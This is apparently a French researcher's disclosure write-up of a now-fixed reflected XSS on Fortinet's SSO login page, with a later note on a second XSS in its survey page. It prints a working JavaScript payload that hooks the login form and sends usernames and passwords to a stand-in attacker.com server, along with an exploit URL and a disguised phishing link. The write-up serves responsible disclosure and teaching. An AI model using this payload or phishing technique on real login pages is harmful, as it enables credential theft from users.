La page d’authentification SSO de l’IdP Fortinet souffre d’une vulnérabilité de Cross-Site Scripting réfléchi, permettant de voler les crédentiels des utilisateurs en clair.
Introduction
Les entreprises et majors actuels se tournent de plus en plus vers la fédération des identités. Un référentiel central et unique contenant les crédentiels (login / password) des utilisateurs (LDAP, AD, etc.), une application web d’authentification unique et centralisée (couramment nommée IdP pour Identity Provider) et des protocoles de fédération dont SAML, WS-Fed, et compagnie.
L’avantage de la fédération des identités?
- Les protocoles sont sécurisés et standardisés
- Les crédentiels sensibles (mots de passe) n’ont plus besoin de transiter en clair dans les échanges réseaux puisque la fédération se base sur des trusts entre les partis.
- Les données des utilisateurs sont centralisées, facilitant leur gestion / renouvellement / modification / révocation.
Toutefois, il faut garder à l’esprit que l’utilisateur n’a plus qu’un seul couple de crédentiel à retenir. Ceux présents dans le référentiel central (LDAP / AD) et il ne les utilise qu’au travers de la mire d’authentification SSO. Ainsi, si cette mire d’authentification est compromise et/ou vulnérable, l’ensemble des applications fédérées en sont impactées.
Cas concret : Fortinet
Fortinet, la multinationale américaine fondée en 2000 et spécialisée dans les équipements / appliances de hautes performances dédiées à la sécurité réseaux était vulnérable à un tel vecteur d’attaque. Fortinet est également leader dans les solutions d’Unified Threat Management (UTM) et se positionne en tant que leader mondial de solution de sécurité après Cisco Systems et CheckPoint.
Fortinet à mis en place un mécanisme de SSO / fédération de ses diverses plateformes. Ainsi, lorsque l’on tente d’accéder à certains domaines et services de l’éditeur sans être authentifié, nous sommes redirigés vers une mire d’authentification unique. C’est notamment le cas pour les domaines :
Nous sommes automatiquement redirigé vers le domaine « https://login.fortinet.com », qui n’est autre que la mire central d’authentification.
Analyse et exploitation
RXSS canonique alert()
Cette redirection vers le domaine « login.fortinet.com » s’accompagne de plusieurs paramètres GET permettant, après une authentification réussie, de rediriger l’utilisateur vers le service attendu. Exemple :
https://login.fortinet.com/login.aspx?ReturnUrl=%2f%3fwa%3dwsignin1.0%26wtrealm%3dhttps%253a%252f%252fsearchsupport.fortinet.com%252f%26wctx%3drm%253d1%2526id%253dpassive%2526ru%253d%25252fdefault.aspx%26wct%3d2015-12-07T12%253a27%253a53Z%26LoginMethod%3dLDAP&wa=wsignin1.0&wtrealm=https%3a%2f%2fsearchsupport.fortinet.com%2f&wctx=rm%3d1%26id%3dpassive%26ru%3d%252fdefault.aspx&wct=2015-12-07T12%3a27%3a53Z&LoginMethod=LDAP
Parmi ces paramètres, le « wtrealm » s’avère vulnérable à une injection de code JavaScript réfléchi (RXSS) :
https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP
Aperçu :
Au niveau de la source, aucune vérification de la valeur du paramètre « wtrealm » n’est effectuée :
Comme le paramètre « wtrealm » est modifié, celui-ci ne correspond plus à l’un des fournisseurs de services (SP pour Service Provider) trusté / de confiance dans l’implémentation de la fédération de Fortinet. Ainsi, après l’alerte, un message explicite est visible sur la mire de login :
Conception d’un payload d’exploitation
Dans le cas présent, la RXSS se situe directement sur la mire d’authentification centralisée. Ainsi, pas besoin de créer une fausse page d’authentification pour tromper d’éventuelles victimes.
L’exécution de JavaScript arbitraire dans le contexte de la page étant réalisée avec succès, un assaillant peut charger un script JS distant (tant que celui-ci est accessible au travers d’HTTPS – protocole HSTS) et modifier à sa guise le DOM du navigateur des victimes.
Un tel payload d’exploitation au sein d’un script JS distant permettrait par exemple de :
- Cacher le message d’erreur présent sur la page de login, pour éviter que la victime n’ait des soupçons.
- Modifier le comportement du formulaire HTML de soumission du couple login / password légitime d’un utilisateur en intercalant un traitement arbitraire (hook).
Le formulaire actuel d’authentification envoi basiquement les données de l’utilisateur cherchant à s’authentifier vers la cible spécifiée dans l’attribut « <form action=TARGET> ».
Pour ajouter un comportement arbitraire juste avant la soumission légitime du formulaire, l’idée est d’utiliser l’évènement « onsubmit » de la balise « form ». En effet, ce sont toujours les évènements « on* » des balises qui sont exécutés avant les attributs standards tels « action= » ou « href= » des balises xHTML.
En guise d’exemple, prenons une simple balise hypertexte suivante :
<a href="https://www.google.com" onclick="this.href='https://www.asafety.fr'">Go to Google.com ? :)</a>
Vers quel site pensez-vous vous rendre? Celui indiqué par la barre d’état du navigateur? 🙂
C’est exactement le même principe pour un formulaire web :
<form action="https://site.com/target" onsubmit="this.action='https://attacker.com/target'">
Note : L’évènement « action= » suite à un « onsubmit= » d’une balise « form » peut être bloqué si le code JavaScript du « onsubmit= » retourne « false ». Idem concernant une balise « a » entre l’évènement « onclick= » et « href= ».
Pour mener à bien le PoC d’exploitation, en cachant le message d’erreur et en modifiant le comportement du formulaire, l’assailant peut employer le fichier x.js suivant :
//alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/); // Add JQuery dynamically if needed var headx=document.getElementsByTagName('head')[0]; var jq= document.createElement('script'); jq.type= 'text/javascript'; jq.src= 'https://code.jquery.com/jquery-latest.min.js'; headx.appendChild(jq); // jquery dynamic loading // function to send through GET the login/password of the victim to the attacker's server function sendX(login, passwd){ var x=document.getElementsByTagName('head')[0]; var y= document.createElement('script'); y.type= 'text/javascript'; y.src= 'https://attacker.com/x.php?LOGIN='+login+'&PASSWD='+passwd; x.appendChild(y); } // function to recover the form submit action event function submitX(){ document.forms[0].onsubmit=function() { return true; // enable the form "action" }; document.forms[0].submit(); } // function to hook the login form and add an onsubmit action (before the form action) function loadX(){ $( document ).ready(function() { $("#contextHolder_InvalidRPAddress").html(""); // clean the error message on the page document.forms[0].onsubmit=function() { login=document.getElementById("contextHolder_Login_name").value; passwd=document.getElementById("contextHolder_Login_password").value; sendX(login,passwd); // retrieve login/password setTimeout("submitX()", 1000); // recover initial form submit action return false; // block the form "action" }; }); } setTimeout('loadX()', 2000);
Une fois ce fichier x.js hébergé sur « https://attacker.com/x.js », puis chargé dans le DOM du navigateur d’une victime visitant « login.fortinet.com », les modifications suivantes en découlent :
- Le message d’erreur d’id « contextHolder_InvalidRPAddress » est effacé.
- L’événement « onsubmit » du formulaire d’authentification est créé, et une fonction envoyant les valeurs entrées dans le champ « contextHolder_Login_name » ainsi que « contextHolder_Login_password » vers un script « https://attacker.com/x.php » est mise en place (hook).
- La post-exécution de l’action du formulaire est bloquée tant que les données n’ont pas été transmises sur le site malicieux.
- Puis, après transmission, le comportement du formulaire est réinitialisé et l’authentification légitime se déroule.
Pour la victime, outre un temps d’authentification supplémentaire d’une seconde, aucun changement n’est visible.
Le fichier x.js est chargé dans le DOM d’une victime via une URL de la sorte :
https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>s=document.createElement('script');s.setAttribute('src','//attacker.com/x.js');document.body.appendChild(s);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP
Le script arbitraire est bien chargé dans le contexte de navigation :
On observe que le message d’erreur n’est plus visible. On en conclu que l’altération du DOM est fonctionnelle et donc que le comportement du formulaire a été modifié.
Exploitation et démonstration
L’attaquant peut par la suite démarrer une campagne de phishing / spear-phishing à partir de l’URL d’exploitation de la vulnérabilité. Il peut cibler des sysadmins / DSI / RSSI d’entreprise disposant d’équipement Fortinet, et par conséquent usurper leurs crédentiels.
Exemple d’une page en guise d’illustration :
You need support for your Fortinet Product?<br /> Please login to the supportcenter here : <a target="_blank" href="https://searchsupport.fortinet.com/" onclick="this.href='https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/%3Cscript%3Es%3Ddocument.createElement%28%27script%27%29%3Bs.setAttribute%28%27src%27%2C%27%2f%2fattacker.com%2fx.js%27%29%3Bdocument.body.appendChild%28s%29%3B%3C%2fscript%3E&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP'">https://searchsupport.fortinet.com/</a>
Aperçu :
Il lui suffira de consulter son fichier « https://attacker.com/x.txt » pour récupérer les crédentiels en clair de toutes les victimes :
Une vidéo de démonstration a été réalisée pour appuyer la criticité de la vulnérabilité auprès des équipes de Fortinet :
Notification et conclusion
Les équipes de Fortinet ont été informées le jour même de la découvert du vecteur d’attaque (06/11/2015) au travers de leur système de ticketing et du support sécurité (PSIRT). Après une validation et une reconnaissance de la vulnérabilité quelques jours plus tard, une correction a été menée le 02/12/2015.
Hello,
Thank you for your report and my apologies for the delay in responding.
Our development team has confirmed your report and we are working on a fix now.I will update you with an ETA.
Thanks!
La vulnérabilité est à présent comblée et non-exploitable.
Il faut néamoins garder en tête que bien que les mécanismes et technologies de SSO / Fédération des identités sont sécurisées et très en vogue actuellement, une mauvaise implémentation au niveau de la mire d’authentification centrale peut mettre à mal tout le système.
Les utilisateurs n’ayant plus qu’un couple de crédentiel à retenir, si celui-ci est volé, toutes les applications fédérées s’avèrent compromises.
Je tiens pour finir à saluer les équipes de Fortinet, pour leur amabilité au cours de nos échanges et la rapidité de correction (comparée à d’autres éditeurs du même secteur). Merci également pour la qualité de leurs produits et services.
Edit du 03/03/2016 :
Après le report de la vulnérabilité portant sur la mire d’authentification de l’IdP, et la correction de celle-ci, le ticket sur le système de tracking de Fortinet a été fermé. Dès lors qu’un ticket sur cette plateforme est fermé, l’auteur du ticket (moi-même), reçoit un email pour réaliser une « étude de satisfaction » (Customer Satisfaction Survey Request).
Souhaitant saluer la rapidité de correction de la vulnérabilité et la courtoisie des équipes Fortinet, je me suis dit « aller, pour une fois, tu vas répondre à leur questionnaire » (positivement évidemment).
J’ai donc suivi le lien « Click here to take survey » du mail, poitant vers :
http://support.fortinet.com/survey/Survey.aspx?ticketid=ID
Voyant la tête de l’URL, j’ai tout naturellement réitéré mon analyse en tentant d’injecter des caractères dans le « ticketid » :
Hum, mieux, ils ont intégré du filtrage de caractères et chaînes injectés. Creusons un peu… et…
Rebelote !
Un autre ticket à donc été créé dans la foulé, quelques minutes après la clôture du précédent. Seulement cette XSS n’a été corrigée qu’il y a peu (3 mois), d’où le délais de diffusion de ce présent article.
En tout cas, elle est protégée à présent je peux faire l’étude de satisfaction une nouvelle fois !
Sources & ressources :